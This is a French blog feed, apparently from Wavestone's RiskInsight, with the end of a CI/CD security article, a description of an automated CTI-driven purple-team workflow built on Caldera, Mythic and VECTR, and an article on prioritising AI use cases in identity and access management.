Il est également crucial d’assurer une bonne isolation entre environnements et d’appliquer strictement le principe du moindre privilège, aussi bien pour les utilisateurs que pour les comptes de service.

Les problèmes de sécurité ne peuvent pas être corrigés par de simples correctifs si la conception globale du pipeline est faible.

Enfin, les cas d’usage de déploiement doivent être définis clairement dès le départ, car ils influencent directement l’architecture et les choix IAM.

Au-delà des aspects techniques, la sécurité CI/CD doit être évaluée en continu via des audits techniques réguliers ainsi que des revues organisationnelles du cycle de développement afin de maintenir les risques sous contrôle.

Pour une perspective plus large et des recommandations de haut niveau sur le positionnement du CI/CD comme pilier du système d’information, voir l’article RiskInsight : « CI/CD: the new cornerstone of the information system ».

Cet article Sécurité CI/CD : attaque de chaîne d’approvisionnement depuis un développeur compromis est apparu en premier sur RiskInsight.

Cependant, les exercices Purple Team traditionnels ne reflètent l’état de sécurité d’une organisation qu’à un instant donné. Dans des environnements en constante évolution, où les infrastructures, les applications et les contrôles de sécurité changent régulièrement et où les menaces évoluent en permanence, les résultats d’une évaluation peuvent rapidement devenir obsolètes. Les organisations se retrouvent alors face à une question essentielle : les détections qui fonctionnaient hier sont-elles toujours efficaces aujourd’hui ? Pour y répondre, le Purple Teaming doit évoluer d’un exercice périodique vers un processus de validation continue.

Cet article présente un workflow modulaire que nous avons développé afin de transformer la CTI (Cyber Threat Intelligence) en simulations d’adversaires automatisées. Ce workflow combine Caldera pour l’orchestration des attaques, Mythic pour la simulation réaliste des mécanismes de commande et de contrôle (C2) et VECTR pour le suivi et la mesure de la progression des capacités du SOC : un workflow automatisé que l’on configure une seule fois et que l’on peut exécuter à tout moment.

Vision et expertise Purple Team de Wavestone

Chez Wavestone, nous réalisons des exercices Purple Team depuis plusieurs années afin d’aider nos clients à s’assurer que leurs capacités de détection ne sont pas seulement pertinentes sur le papier, mais réellement efficaces en conditions opérationnelles.

L’objectif principal de notre approche Purple Team est d’identifier les scénarios d’attaque qui échappent aux contrôles de sécurité en place et de définir des mécanismes de détection adaptés pour combler ces lacunes. Au-delà de la simple simulation d’attaques, nous évaluons systématiquement la détection selon trois critères essentiels : l’activité est-elle journalisée, une alerte est-elle générée à partir de ces journaux, et cette alerte est-elle correctement prise en charge par le SOC ?

En collaboration étroite avec les équipes Blue Team au travers d’échanges réguliers, cette démarche structurée nous permet d’identifier à la fois des quick wins (améliorations rapides à fort impact) et des projets plus structurants nécessitant des évolutions d’architecture ou des investissements de long terme, toujours adaptés au contexte de nos clients.

Pour atteindre cet objectif, nos opérations Purple Team s’appuient sur plusieurs approches complémentaires, chacune présentant ses propres atouts et limites.

Tests Unitaires

Les tests unitaires constituent l’approche la plus élémentaire du Purple Teaming. Ils consistent à tester des TTPs spécifiques et isolés afin de valider l’efficacité de règles de détection individuelles. En rejouant ces attaques sans contexte ni adaptation à l’environnement, les équipes de sécurité peuvent vérifier que les sources de journaux, les mécanismes de corrélation et les alertes associés sont correctement configurés et fonctionnent comme attendu. Bien qu’ils soient particulièrement efficaces pour valider des contrôles individuels, les tests unitaires n’offrent qu’une vision partielle du niveau de sécurité global d’une organisation : la détection d’une technique isolée ne garantit pas la capacité à détecter et à répondre à une chaîne d’attaque complexe composée de plusieurs étapes.

Par ailleurs, les tests unitaires introduisent plusieurs biais susceptibles d’altérer le réalisme des évaluations de détection. Ils nécessitent notamment la collaboration d’un « complice »de la Blue Team, chargé de fournir l’assistance nécessaire et d’éviter une escalade excessive. Cette approche limite l’identification de certaines lacunes dans les processus de réponse à incident et réduit fortement la discrétion de l’exercice.

Enfin, une fois que le SOC sait qu’un exercice Purple Team est en cours, sa réaction devient inévitablement biaisée. En l’absence de l’effet de surprise et de la pression propres à un incident réel, ces tests ne permettent pas d’évaluer fidèlement la manière dont le SOC réagirait face au stress et à l’ambiguïté d’une intrusion réelle en cours.

Exercices orientés trophées

Notre seconde approche, les exercices orientés trophées, permet d’évaluer les capacités de détection au travers de scénarios plus réalistes. Ces opérations s’adressent à des organisations matures et visent à évaluer et renforcer les processus de détection avancés ainsi que les capacités de Threat Hunting, plutôt que de simplement valider des règles de détection automatisées.

À l’image d’une opération Red Team, l’équipe offensive mène une attaque à grande échelle contre le système d’information sans suivre une liste de tests prédéfinie, mais en poursuivant des objectifs (trophées) définis à l’avance. Cette approche permet notamment d’identifier des scénarios d’attaque de bout en bout.

Dans la pratique, nos exercices orientés trophées s’appuient souvent sur une approche Red to Purple : tant que l’équipe Red Team n’a pas été détectée, la Blue Team n’est pas informée de l’exercice, ce qui favorise des réactions authentiques et non scénarisées. Cette approche offre une opportunité unique d’évaluer les réactions réelles des équipes de sécurité et de réduire l’écart entre les procédures théoriques et la gestion effective d’un incident.

Toutefois, contrairement aux tests unitaires, ces exercices ne cherchent pas à être exhaustifs. Leur objectif n’est pas de couvrir chaque règle de détection déployée dans l’environnement, mais plutôt d’évaluer la résilience globale de l’organisation face à un adversaire donné, en combinant l’évaluation des mécanismes de détection, des processus d’escalade, des capacités de Threat Hunting et de corrélation.

Ainsi, les exercices orientés trophées représentent l’aboutissement de la démarche Purple Team, en faisant évoluer la question de « Quelles sont nos lacunes de détection ? » vers « Un véritable attaquant serait-il réellement détecté ? ».

Évaluations SOC

Les évaluations de SOC visent à mesurer le niveau de préparation opérationnelle et la performance du SOC. Contrairement aux approches précédentes, qui se concentrent sur la validation des mécanismes de détection, elles évaluent la capacité des analystes et des processus à détecter, qualifier, investiguer et traiter les menaces. Elles permettent de vérifier que les procédures opérationnelles et les playbooks sont correctement appliqués, tout en identifiant les lacunes de visibilité dans les journaux et la télémétrie tout au long de la chaîne d’attaque.

Toutefois, les évaluations de SOC reposent souvent sur des scénarios structurés qui introduisent une certaine forme d’artificialité. L’évaluation reste fondamentalement un exercice de déclenchement et de réponse, enrichi par une validation des procédures et du facteur humain.

Parce que ces exercices reposent sur des déclencheurs connus et planifiés à l’avance, ils ne poussent pas les analystes à réaliser des corrélations approfondies ni à identifier des comportements anormaux à travers une multitude d’événements apparemment bénins. En ce sens, ils sont conçus pour évaluer « ce qui fonctionne aujourd’hui » plutôt que « ce qui devra fonctionner demain ».

Enfin, cette nature scénarisée laisse peu de place à un véritable Threat Hunting. En effet, le SOC n’est jamais amené à découvrir de manière proactive les objectifs ou le mode opératoire d’un adversaire sur la durée. En privilégiant l’exécution réactive de playbooks plutôt que l’ambiguïté propre à une campagne en constante évolution, ces évaluations passent à côté d’un aspect essentiel du facteur humain : la capacité à détecter une menace sophistiquée ne générant pas d’alerte prédéfinie ou particulièrement « bruyante ».

L’illusion de « L’instant T »

Malgré leurs différences, ces trois approches partagent une même limite fondamentale : elles évaluent le niveau de sécurité d’une organisation à un instant donné.

Les systèmes d’information modernes évoluent en permanence. Les migrations d’infrastructure, les transformations cloud, les déploiements applicatifs ou encore les modifications des outils de sécurité peuvent tous avoir un impact sur l’efficacité des capacités de détection et de réponse. Une règle de détection validée lors d’un exercice Purple Team peut ainsi ne plus fonctionner comme prévu à la suite d’un simple changement d’infrastructure.

Dans le même temps, les acteurs de la menace adaptent continuellement leurs tactiques, techniques et procédures. Avec l’émergence des attaques augmentées par l’intelligence artificielle, le paysage de la menace évolue en permanence : ce qui était considéré comme sécurisé hier peut devenir obsolète aujourd’hui.

Les organisations doivent donc réévaluer régulièrement leurs capacités défensives afin de s’assurer qu’elles restent alignées avec l’évolution des menaces.

Pourtant, le coût, la complexité et les efforts manuels associés aux exercices Purple Team traditionnels empêchent souvent les organisations de réaliser ces évaluations à la fréquence nécessaire. Il en résulte un décalage entre la validation de la sécurité et la réalité opérationnelle, laissant les défenseurs avec une vision uniquement ponctuelle de leur niveau réel de préparation face aux menaces.

Donner plus d’autonomie aux équipes de défense grâce à l’automatisation pilotée par la CTI

Les limites du Purple Teaming traditionnel soulèvent une question essentielle : comment permettre aux organisations de valider plus fréquemment leurs capacités de détection et de réponse sans augmenter significativement les coûts et la charge opérationnelle ?

La réponse consiste à passer d’évaluations orchestrées par une équipe dédiée à un processus de validation piloté par les défenseurs eux-mêmes. Plutôt que d’attendre des exercices Purple Team ponctuels, les équipes de sécurité doivent pouvoir évaluer en continu leurs capacités de détection et de réponse, dès que le besoin s’en fait sentir.

La CTI comme moteur du workflow

La Cyber Threat Intelligence (CTI) constitue une source précieuse d’informations sur les modes opératoires des acteurs de la menace. En documentant leurs tactiques, techniques et procédures (TTPs), la CTI permet aux organisations d’aller au-delà de simulations d’attaque génériques pour se concentrer sur des scénarios de menace réalistes et pertinents pour leur environnement.

Plutôt que d’être considérée comme un simple rapport consulté puis archivé, la CTI peut servir de fondation à des évaluations défensives répétables. Chaque nouvelle technique, campagne ou profil d’adversaire identifié devient alors une opportunité de valider les contrôles de sécurité existants et d’identifier d’éventuelles lacunes de détection.

Transformer les TTPs en scénarios automatisés

Si la CTI permet d’identifier les modes opératoires des adversaires, les organisations doivent encore disposer d’un moyen de reproduire ces comportements de manière contrôlée et répétable.

En transformant les TTPs documentés en scénarios d’attaque automatisés, les équipes de sécurité peuvent tester en continu leur capacité à détecter et à investiguer les activités associées à des acteurs de la menace spécifiques. Bien que ce travail de transformation ne doive être réalisé qu’une seule fois, les scénarios ainsi créés peuvent ensuite être exécutés de manière répétée avec un effort minimal, permettant aux organisations de valider leurs défenses à tout moment.

Cette approche réduit considérablement les efforts manuels traditionnellement requis pour préparer et conduire des exercices Purple Team, tout en garantissant la cohérence des évaluations dans le temps.

Permettre des évaluations défensives en toute autonomie

L’automatisation permet aux équipes de défense de gagner en autonomie. Au lieu de dépendre d’exercices externes ou de ressources Red Team dédiées, les défenseurs peuvent déclencher eux-mêmes des évaluations dès qu’un changement opérationnel le nécessite.

Par exemple, ces évaluations peuvent être lancées à la suite d’une migration d’infrastructure majeure, du déploiement de nouveaux contrôles de sécurité ou de la publication d’un renseignement CTI concernant un adversaire pertinent pour l’organisation.

Cette approche en libre-service permet aux organisations de valider leur posture de sécurité à la fréquence requise, en s’assurant que leurs capacités de détection restent alignées à la fois avec les évolutions de l’infrastructure et celles du paysage de la menace.

Dépasser les limites des solutions d’automatisation du marché : l’intégration Caldera & Mythic

Bien que des frameworks d’orchestration d’attaques existent déjà, ils présentent souvent certaines limites opérationnelles. Par exemple, Caldera repose sur des agents génériques qui n’implémentent pas des capacités avancées de commande et de contrôle (C2) telles que l’exécution de scripts PowerShell en mémoire, l’exécution d’Inline Assembly ou encore les Beacon Object Files (BOFs). Ainsi, bien que Caldera excelle dans l’automatisation de scénarios d’émulation d’adversaires, il ne permet pas toujours de reproduire fidèlement les techniques utilisées par des acteurs de la menace sophistiqués. De plus, dans les environnements où le réalisme constitue un objectif majeur, la présence et le comportement de l’agent Caldera peuvent permettre aux défenseurs d’identifier rapidement l’exercice, réduisant ainsi la fidélité de l’évaluation.

À l’inverse, les frameworks modernes de commande et de contrôle tels que Mythic offrent des capacités réalistes de simulation d’adversaires ainsi que des méthodes d’exécution avancées, mais ne disposent pas des fonctionnalités d’orchestration et d’automatisation nécessaires à la réalisation d’évaluations Purple Team répétables à grande échelle.

Afin de combler cet écart, nous avons développé le plugin Mythic pour Caldera, qui s’intègre directement au framework C2 Mythic. L’objectif était de combiner les capacités d’automatisation et d’orchestration de Caldera avec les capacités réalistes de commande et de contrôle offertes par Mythic. Dans cette architecture, Caldera conserve la responsabilité de l’orchestration des scénarios d’attaque pilotés par la CTI, tandis que Mythic fournit la couche d’exécution utilisée pour reproduire les techniques avancées des adversaires.

Cette intégration permet aux organisations d’automatiser des chaînes d’attaque complexes tout en conservant un niveau de réalisme plus proche de celui des intrusions observées dans le monde réel.

Plugin Mythic pour Caldera : bibliothèque d’émulation d’adversaires

Le plugin étend Caldera en intégrant le framework C2 Mythic et en fournissant des profils d’adversaires, des fact sources, des payloads et des parsers personnalisés. Ensemble, ces composants permettent aux opérateurs de transformer rapidement la CTI en scénarios automatisés d’émulation d’adversaires tout en réduisant significativement les efforts de configuration manuelle.

Le plugin intègre 5 profils d’adversaires personnalisés, chacun conçu pour émuler un modèle de menace distinct ainsi que les modes opératoires qui lui sont associés :

• Insider : simule un attaquant interne, tel qu’un administrateur Windows, avec des TTPs implémentés exclusivement à l’aide de living-off-the-land binaries (LOLBins) Windows.
• Cybercrime : simule un attaquant opportuniste s’appuyant sur des outils offensifs accessibles publiquement et des techniques d’attaque à distance opérées via l’infrastructure proxy SOCKS5 de Mythic.
• APT : simule un acteur de la menace sophistiqué utilisant des techniques avancées, notamment des appels bas niveau aux API Windows, les commandes natives d’Apollo ainsi que des mécanismes d’exécution de payloads en mémoire.
• Linux – Insider : simule un attaquant interne, tel qu’un administrateur Linux, avec des TTPs implémentés exclusivement à l’aide de commandes et d’utilitaires natifs Linux.
• Linux – Cybercrime : simule un attaquant opportuniste ciblant les environnements Linux, avec des TTPs implémentés à l’aide d’outils offensifs open source couramment utilisés.

Afin de faciliter la réutilisation des scénarios, le plugin s’appuie sur les fact sources de Caldera pour paramétrer dynamiquement les abilities. Au lieu de coder en dur des valeurs propres à un environnement donné, des informations telles que les noms de domaine, adresses IP, identifiants, payloads ou paramètres opérationnels sont injectées au moment de l’exécution. Cette approche permet de réutiliser un même profil d’adversaire dans plusieurs environnements avec très peu de modifications.

La bibliothèque inclut également un ensemble de payloads et de parsers utilisés pour prendre en charge des simulations d’attaque avancées. Les payloads sont automatiquement synchronisés avec Mythic et peuvent être utilisés par les abilities lors de l’exécution des opérations. Les parsers, quant à eux, permettent d’extraire dynamiquement des informations à partir des sorties de commandes et de les transformer en facts pouvant être exploités par les abilities suivantes.

Enfin, le plugin fournit une bibliothèque qui continue de s’enrichir, comprenant aujourd’hui plus de 180 abilities réutilisables couvrant une grande variété de techniques ATT&CK. Ces abilities peuvent être regroupées au sein de profils d’adversaires ou exécutées individuellement afin de valider des mécanismes de détection ou des procédures de réponse spécifiques.

Plugin Mythic pour Caldera : intégration Caldera-Mythic

Au cœur de l’intégration se trouvent deux interfaces en ligne de commande (CLI) : apollo_exec.py et athena_exec.py. Ces CLI interagissent avec l’API de Mythic et sont utilisées par l’agent Caldera Sandcat afin de piloter les agents Apollo (Windows) et Athena (Linux).

Par exemple, la CLI Apollo prend en entrée un identifiant de callback Mythic, une commande ainsi que des arguments optionnels, et prend en charge plusieurs options supplémentaires permettant d’étendre les capacités d’exécution :

• -uploads: téléverse des fichiers avant l’exécution

• -downloads: récupère des fichiers après l’exécution

• -deletes: supprime des fichiers après l’exécution

• -ps: charge un script PowerShell en mémoire avant l’exécution

• -pid: spécifie l’identifiant du processus cible pour une injection de processus

Afin de faciliter l’interaction entre Caldera et Mythic, le plugin implémente deux fonctionnalités principales :

• Connect C2 : génère les CLI apollo_exec.py et athena_exec.py à partir des paramètres de configuration du C2 Mythic afin de permettre la communication avec l’API de Mythic.
• Sync Payloads : enregistre automatiquement dans Mythic les payloads requis par les opérations Caldera, notamment les assemblages .NET, les DLL, les exécutables et les Beacon Object Files (BOFs).

Plugin Mythic pour Caldera : workflow d’exécution

Au sein de notre workflow, MITRE Caldera est utilisé comme plateforme d’orchestration plutôt que comme serveur traditionnel de commande et de contrôle (C2). L’agent Caldera (Sandcat) est déployé sur le même hôte que le serveur Caldera et est chargé de coordonner l’exécution des scénarios d’attaque. Au lieu d’exécuter directement les abilities, il délègue leur exécution à l’infrastructure C2 Mythic.

Selon la nature de la technique exécutée, les TTPs sont pris en charge selon l’un des deux modes d’exécution suivants:

• Attaques réseau : les TTPs orientés réseau, tels que les mouvements latéraux ou les interactions avec des services distants, sont exécutés par l’agent Caldera via un proxy SOCKS5 exposé par Mythic. Le trafic est routé à travers l’agent Apollo à l’aide d’outils tels que proxychains.

• Attaques exécutées sur l’hôte : les TTPs ciblant directement les systèmes compromis sont exécutés par les agents Mythic. Dans ce scénario, l’agent Caldera s’appuie sur la CLI apollo_exec.py pour interagir avec l’API Mythic et transmettre les tâches à l’agent Apollo, qui se charge d’exécuter l’action demandée.

Mesurer objectivement la progression du SOC avec VECTR

L’une des principales limites d’outils tels que Caldera réside dans leur conception centrée sur les équipes Red Team. Bien qu’ils excellent dans l’orchestration et l’exécution d’attaques, ils ne fournissent pas d’interface adaptée aux analystes Blue Team pour consulter, enrichir et suivre les résultats des évaluations. Par conséquent, l’accès aux résultats des exercices Purple Team et leur interprétation peuvent rapidement devenir fastidieux, en particulier lorsque plusieurs opérations sont menées dans le temps.

Pour répondre à ce besoin, nous avons intégré VECTR à notre workflow. VECTR est une plateforme Purple Team conçue pour centraliser les données d’attaque et de détection, offrant une vision commune aux équipes Red Team et Blue Team. En corrélant les actions des adversaires avec les observations défensives, elle permet aux organisations de mesurer objectivement leurs capacités de détection et d’en suivre l’évolution dans le temps.

Afin de faciliter ce processus, nous avons développé le plugin VECTR pour Caldera. Une fois déclenché par l’opérateur, le plugin exporte automatiquement les opérations terminées vers VECTR sous forme de campagnes, permettant la génération automatique de graphes d’attaque et de matrices MITRE ATT&CK tout en éliminant plusieurs heures de travail de reporting manuel.

Plugin VECTR pour Caldera : création de campagnes

Le plugin étend Caldera en exportant les opérations terminées sous forme de campagnes VECTR. Lors du processus d’export, le plugin transfère les étapes de l’opération, leur statut d’exécution, les commandes exécutées, les correspondances avec les techniques MITRE ATT&CK, les timestamps ainsi que les sorties de commandes (stdout/stderr).

Le plugin affiche les opérations Caldera disponibles ainsi que leur statut d’exécution. Une fois une opération terminée, l’opérateur peut déclencher son export vers VECTR en un seul clic après avoir renseigné les paramètres de connexion. Le processus d’export est exécuté de manière asynchrone afin de ne pas bloquer le thread d’exécution de Caldera.

Une fois exportée, l’opération apparaît sous la forme d’une campagne dans VECTR. Afin de garantir l’unicité des campagnes et d’assurer la traçabilité entre les deux plateformes, le nom de la campagne est composé du nom de l’opération Caldera suivi des huit premiers caractères de son identifiant.

Plugin VECTR pour Caldera : enrichissement des campagnes

Chaque ability incluse dans une opération Caldera est associée à un test case correspondant au sein de la campagne VECTR. Ainsi, chaque test case est automatiquement enrichi avec les informations Red Team pertinentes, notamment la technique ATT&CK associée, le statut d’exécution, les timestamps, les commandes exécutées ainsi que les métadonnées opérationnelles :

Pour les abilities qui ont été exécutées, les sorties de commandes (stdout/stderr) sont exportées vers VECTR et associées sous forme de journaux Red Team. Ces journaux offrent aux analystes une visibilité détaillée sur les actions réalisées au cours de l’évaluation et peuvent être consultés afin de mieux comprendre le déroulement de l’exécution ainsi que d’identifier d’éventuelles opportunités d’amélioration des capacités de détection.

Mise en pratique : démonstration de bout en bout

La vidéo suivante rassemble l’ensemble des composants présentés dans cet article et illustre un workflow automatisé de Purple Team de bout en bout, depuis l’émulation automatisée d’adversaires avec Caldera et Mythic jusqu’à la visualisation des activités adverses et des résultats opérationnels dans VECTR.

Vers une automatisation complète du Purple Teaming

Bien que ce workflow réduise considérablement les efforts nécessaires à la réalisation d’évaluations Purple Team, une étape manuelle subsiste : la transformation de la CTI en abilities Caldera exécutables et en profils d’adversaires.

Aujourd’hui, ce processus nécessite qu’un analyste examine les rapports de CTI, identifie les TTPs pertinents et implémente manuellement les abilities correspondantes au sein de la bibliothèque d’émulation d’adversaires. Bien que ce travail ne doive être réalisé qu’une seule fois pour chaque technique, il reste dépendant de l’expertise humaine et peut devenir chronophage lorsqu’il s’agit d’opérationnaliser de grands volumes de CTI.

Les travaux futurs porteront sur l’utilisation de l’intelligence artificielle afin d’automatiser cette étape. En combinant les grands modèles de langage (LLMs), la connaissance d’ATT&CK et des modèles d’abilities existants, les rapports de CTI pourraient être automatiquement transformés en abilities Caldera exécutables, accélérant considérablement l’opérationnalisation de la CTI tout en réduisant davantage les efforts nécessaires au maintien d’une bibliothèque d’émulation d’adversaires à jour.

Cette évolution permettrait de compléter la chaîne d’automatisation, en permettant aux organisations de passer de l’acquisition de la CTI à l’émulation automatisée d’adversaires et à l’évaluation du SOC de manière quasi autonome.

Cet article Purple Teams automatisés pilotés par la CTI est apparu en premier sur RiskInsight.

Il y a deux ans, nous posions la question de savoir si l’IA pouvait constituer une révolution pour l’IAM dans notre article « L’intelligence artificielle, une révolution pour l’IAM ? – RiskInsight ». Nous insistions déjà sur la nécessité d’une approche nuancée, fondée sur des cas d’usage concrets, une logique de test and learn et une exigence de confiance compatible avec les enjeux propres à l’identité et aux accès.

Aujourd’hui, le constat a gagné en précision : l’IA n’a pas provoqué la rupture que certains annonçaient, mais elle commence à y trouver une place réelle, plus ciblée et surtout plus pragmatique.

Ce que l’on observe aussi c’est que l’IA entraine un élargissement du périmètre de l’IAM : l’IAM doit désormais aussi traiter les enjeux liés à l’IA et aux agents IA.
Pour approfondir ce point, nous vous invitons à consulter notre article « Sécuriser les agents IA : pourquoi l’IAM devient central – RiskInsight ».

Pour rappel, l’intelligence artificielle s’impose progressivement comme un levier de transformation des systèmes d’information, et l’IAM n’échappe pas à cette dynamique. Face à la multiplication des identités portée par des transformations de nature différente, qu’il s’agisse d’évolutions d’infrastructure avec le cloud, de changements de vision métier avec l’essor du CIAM ou encore de l’arrivée de nouvelles technologies comme les agents d’IA, les organisations doivent composer avec des modèles d’habilitation toujours plus riches et difficiles à maintenir.

Dans ce contexte, l’IA promet de rendre les services IAM plus efficaces et plus accessibles, qu’il s’agisse de recommandations intelligentes, d’assistants conversationnels, d’une meilleure exploitation des données ou du traitement de volumétrie difficilement gérable par des approches classiques.

Toutefois, ces apports appellent à la prudence. L’IAM touche directement à la sécurité des accès : à ce stade, l’IA doit y rester un outil d’assistance, sous supervision humaine, car la responsabilité ne saurait lui être déléguée. Sur le terrain, elle se manifeste d’ailleurs encore majoritairement sous forme de briques périphériques (copilots, chatbots, agents) qui viennent enrichir l’existant sans bouleverser les fonctions critiques. L’enjeu n’est donc plus tant de savoir si l’IA a sa place en l’IAM, mais d’identifier où et comment l’appliquer de manière réellement pertinente.

2.    Quels cas d’usage IA ont réellement du sens en IAM ?

Les apports de l’IA dans l’IAM sont répartis de manière inégale :

• L’​​​​Identity Governance & Administration (IGA) concentre l’essentiel des initiatives grâce à ses volumes de données et ses décisions fréquentes (revues, validations, recommandations)
• L’Access Management (AM) est lui aussi largement mis en avant, avec des projets visant avant tout à accélérer et fluidifier le parcours d’authentification des utilisateurs.
• Le Privileged Access Management (PAM) voit émerger des usages plus ciblés, notamment autour de la détection et de la surveillance des comportements à privilèges.
• Le potentiel de l’IA dans le Customer Identity and Access Management (CIAM) reste encore relativement peu exploité, alors même qu’il tend à devenir stratégique. Il apparaît notamment dans l’émergence d’agents IA capables d’interagir ou d’agir pour le compte des utilisateurs, en particulier via des chatbots.
• L’IA présente aujourd’hui une valeur limitée pour les Trust Services, dont les processus sont déjà largement automatisables sans IA, et se positionne davantage en support périphérique

Pour structurer ces initiatives sans tomber dans l’effet catalogue, deux grandes familles de cas d’usage se distinguent :

1. Ceux qui visent à résoudre des irritants connus dans les processus existants
2. Ceux qui permettent de traiter des problématiques que les approches traditionnelles ne parviennent pas à adresser.

La valeur de l’IA émerge d’abord des irritants actuels de l’IAM…

Cette première famille de cas d’usage constitue généralement le point d’entrée le plus naturel, car elle s’appuie sur des processus IAM déjà en place.

L’IA y joue alors un rôle d’accélérateur, en réduisant les coûts et la charge opérationnelle, tout en améliorant l’expérience, la qualité de service et la rapidité d’exécution, sans remettre en cause le modèle de contrôle.

…pour devenir un levier permettant de dépasser les limites des approches traditionnelles

La seconde famille de cas d’usage relève d’un registre différent : l’IA n’y vise plus seulement un gain de temps, mais ouvre des capacités d’analyse inaccessibles aux approches classiques, en croisant de multiples signaux (identité, organisation, droits, usage, événements) sur des volumes importants. Elle permet notamment de détecter à grande échelle des accès atypiques, tels que des combinaisons rares de droits, des habilitations incohérentes avec une fonction ou des accumulations liées à des exceptions successives.

L’IA rend également possible l’analyse de trajectoires d’habilitation, en identifiant comment certains profils dérivent au fil des mobilités, projets ou urgences, afin de cibler les actions de remédiation. Elle permet aussi une priorisation intelligente de ces remédiations en combinant criticité des applications, sensibilité des données et signaux d’usage, tandis que dans le domaine du PAM, des usages émergents visent à repérer des comportements à privilèges inhabituels pour déclencher des contrôles renforcés.

Enfin, cela ouvre également la voie à une délégation de tâches à plus faible valeur ajoutée, comme le traitement de tickets de niveau 1, pour lesquelles l’automatisation était techniquement envisageable mais économiquement difficile à justifier. Aujourd’hui, certaines solutions IAM « boostées » à l’IA rendent cette substitution réaliste et accessible.

La multiplication des irritants et des pistes d’automatisation ne doit pas pour autant conduire à déployer l’IA de manière indiscriminée. Certains besoins se traitent efficacement à l’aide de règles ou d’algorithmes simples, et dès lors que l’on touche aux accès, chaque erreur potentielle comporte un risque de sécurité. Il est donc essentiel, une fois les cas d’usage identifiés, de les sélectionner et de les prioriser, plutôt que d’accumuler les initiatives.

3.    Prioriser l’IA dans l’IAM avant qu’elle ne devienne un empilement d’initiatives

Une fois les cas d’usage pertinents identifiés, il convient de déterminer ceux sur lesquels concentrer les efforts, car tous ne justifient pas le même niveau d’investissement. La priorisation peut ainsi s’appuyer sur deux axes clés : la valeur ajoutée et la complexité de mise en œuvre.

La difficulté réside ici dans la capacité à analyser rigoureusement ces deux axes pour chaque cas d’usage.

Le premier axe, relatif à la valeur, peut ainsi être appréhendé à travers plusieurs sous critères :

• La réduction des coûts opérationnels : mesurer comment le cas d’usage permet d’éviter certains coûts récurrents
• Les gains d’efficacité et la réaffectation des efforts : la capacité à libérer du temps et à réorienter les équipes vers des tâches à plus forte valeur ajoutée.
• La diminution du risque cyber: l’impact du cas d’usage sur la réduction d’un risque identifié en matière de cybersécurité, d’informatique ou de contrôle
• La contribution aux enjeux réglementaires et stratégiques : dans quelle mesure le cas d’usage répond à une attente réglementaire ou stratégique prioritaire (par exemple, DORA, BCE, audits)
• L’impact sur les populations concernées : apprécier à qui le cas d’usage rend service et avec quelle fréquence d’usage, car un usage modeste mais mobilisé au quotidien par un grand nombre d’utilisateurs peut créer plus de valeur qu’un cas d’usage plus ambitieux mais limité à un périmètre restreint. Les principales populations à considérer sont généralement les administrateurs IAM, les intégrateurs IAM, les utilisateurs finaux et les managers approbateurs.

Le second axe, la complexité peut être évaluée selon quatre dimensions complémentaires. Elle inclut :

• L’exploitation des données : dans quelle mesure les données nécessaires au cas d’usage sont disponibles, de qualité suffisante et accessibles dans des conditions compatibles avec sa mise en œuvre.
• La complexité technique : l’effort technologique requis pour déployer le cas d’usage, qu’il s’agisse des intégrations, de l’architecture, des modèles d’IA mobilisés ou des dépendances vis-à-vis du système d’information existant.
• La complexité organisationnelle : le niveau de coordination nécessaire entre les équipes, les périmètres et les processus pour porter le cas d’usage de manière effective.
• Les risques associés : les risques cyber, réglementaires ou opérationnels susceptibles d’être introduits ou renforcés par la mise en œuvre du cas d’usage.

Pour rappel, cette approche vise avant tout à guider la réflexion et à structurer les arbitrages, et n’est qu’une proposition qui doit donc être adaptée à chaque contexte.

Les cas d’usage à fort impact mais rapides à déployer doivent être privilégiés. À l’inverse, ceux mobilisant des efforts importants (données indisponibles, intégrations complexes, exigences de sécurité élevées) pour un bénéfice limité doivent être écartés ou différés. Pour rendre l’arbitrage concret, une logique “matrice” fonctionne bien :

Toutefois, cette démarche suppose aussi d’être lucide sur un point : l’IA dépend fortement des données (qualité, complétude, traçabilité, référentiels) et de la capacité à l’exploiter de manière sécurisée. Sans fondations solides, même un cas d’usage prometteur restera au stade de démonstration. Car pour produire de la valeur en conditions réelles, il doit pouvoir s’appuyer sur des bases IAM suffisamment robustes : qualité des données, structuration des référentiels, stabilité des processus, lisibilité du modèle d’habilitation, etc. Ainsi, la priorisation doit être confrontée à la réalité des solutions disponibles et à leur maturité.

4.    Un marché en effervescence, des usages encore largement inégaux

Le marché IAM s’anime fortement autour de l’IA, avec des feuilles de route qui s’étoffent et l’émergence de produits dits « IA-native », conçus dès l’origine pour intégrer des mécanismes d’assistance, d’analyse et d’automatisation. Ces approches répondent généralement soit à un besoin ciblé, soit à une logique de différenciation sur un marché en forte évolution.

En parallèle, les solutions IAM historiques enrichissent progressivement leurs offres avec des fonctionnalités d’IA et bénéficient généralement de moyens plus importants que les acteurs IA‑native pour soutenir cette transformation, principalement dans des environnements cloud, plus propices à leur déploiement que les architectures on‑premise.

Il subsiste toutefois un décalage notable entre promesse et réalité en production : la plupart des fonctionnalités disponibles aujourd’hui relèvent encore de l’assistance périphérique (recherche, résumé, copilots) plutôt que d’une IA véritablement embarquée dans les fonctions critiques.

L’adoption reste par ailleurs progressive, en particulier dans les grands comptes, où la priorité demeure l’optimisation de l’existant, la stabilisation des référentiels, la réduction de la dette technique et la conformité. Les approches IA-native, encore relativement nouvelles, doivent s’intégrer à une trajectoire réaliste et à un modèle d’exploitation clair. L’IA ne saurait être considérée comme un produit miracle, mais bien comme un levier à inscrire dans une transformation globale de l’IAM.

5.    Conclusion – De l’effet d’annonce à une trajectoire maîtrisée

L’IA appliquée à l’IAM semble franchir un cap. Le véritable enjeu n’est pas d’accumuler les cas d’usage : il s’agit de construire une démarche cohérente, sélective et durable. Parce qu’elle intervient sur la décision d’accès, l’IA en IAM exige un niveau de prudence supérieur à d’autres domaines. La promesse de l’automatisation ne doit jamais masquer la responsabilité de l’humain et des organisations. Toute recommandation doit pouvoir être comprise, contestée et justifiée, notamment en contexte d’audit. Il faut définir clairement qui valide et qui arbitre, garantir l’acceptation des équipes métier sans laquelle l’IA sera contournée, assurer la conformité réglementaire et cadrer rigoureusement les données exposées aux assistants pour prévenir toute exfiltration d’informations sensibles.

Pour tenir cette trajectoire, il ne suffit pas d’évaluer les cas d’usage isolément : il faut faire évoluer les fondations (qualité des données identitaires, référentiels, modèle de rôles, contrôles), définir un modèle opérationnel capable de superviser l’IA au quotidien et sécuriser les usages émergents, notamment autour des agents d’IA. L’IA pour l’IAM ne doit donc pas être pensée comme une révolution immédiate, mais comme une progression graduelle, des briques d’assistance vers des capacités d’analyse avancées pour finalement arriver à des automatisations mieux maîtrisées.

